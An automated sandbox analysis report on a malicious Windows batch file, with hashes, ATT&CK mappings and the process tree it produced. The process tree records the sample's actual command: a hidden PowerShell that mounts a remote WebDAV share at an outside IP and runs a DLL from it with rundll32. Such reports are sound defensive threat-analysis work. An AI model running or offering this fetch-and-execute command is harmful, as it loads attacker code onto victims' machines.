7130aff0782682c0297cedfb48d272fd43272e6351d3d262e896c91d61633712

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 06:28

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General

Target

3047230422319930509.bat
Size

2KB
MD5

4a654e3c72b2741ff12d900096d03ca3
SHA1

67508113ea949801af4a858db3a37edd06dfa004
SHA256

7130aff0782682c0297cedfb48d272fd43272e6351d3d262e896c91d61633712
SHA512

4368018e102e6a44aee2ede9979e87e6668d55be60862049ce34c976563ea333b26d5c425cdf6ac24a1f30551b8c54ef29f338fa814dc2b5b6b568904ce18642

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1636	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1636	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1636	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2276	wordpad.exe
2276	wordpad.exe
2276	wordpad.exe
2276	wordpad.exe
2276	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2408 wrote to memory of 2276	2408	cmd.exe	29
PID 2408 wrote to memory of 2276	2408	cmd.exe	29
PID 2408 wrote to memory of 2276	2408	cmd.exe	29
PID 2408 wrote to memory of 1636	2408	cmd.exe	30
PID 2408 wrote to memory of 1636	2408	cmd.exe	30
PID 2408 wrote to memory of 1636	2408	cmd.exe	30
PID 1636 wrote to memory of 2768	1636	powershell.exe	32
PID 1636 wrote to memory of 2768	1636	powershell.exe	32
PID 1636 wrote to memory of 2768	1636	powershell.exe	32
PID 1636 wrote to memory of 2132	1636	powershell.exe	33
PID 1636 wrote to memory of 2132	1636	powershell.exe	33
PID 1636 wrote to memory of 2132	1636	powershell.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\3047230422319930509.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2408
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3965.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2768
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\3965.dll entry
    3⤵
    PID:2132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1636-24-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/1636-25-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2408-16-0x00000000022A0000-0x00000000023A0000-memory.dmp

Filesize
1024KB

Download
memory/2408-17-0x00000000022A0000-0x00000000023A0000-memory.dmp

Filesize
1024KB

Download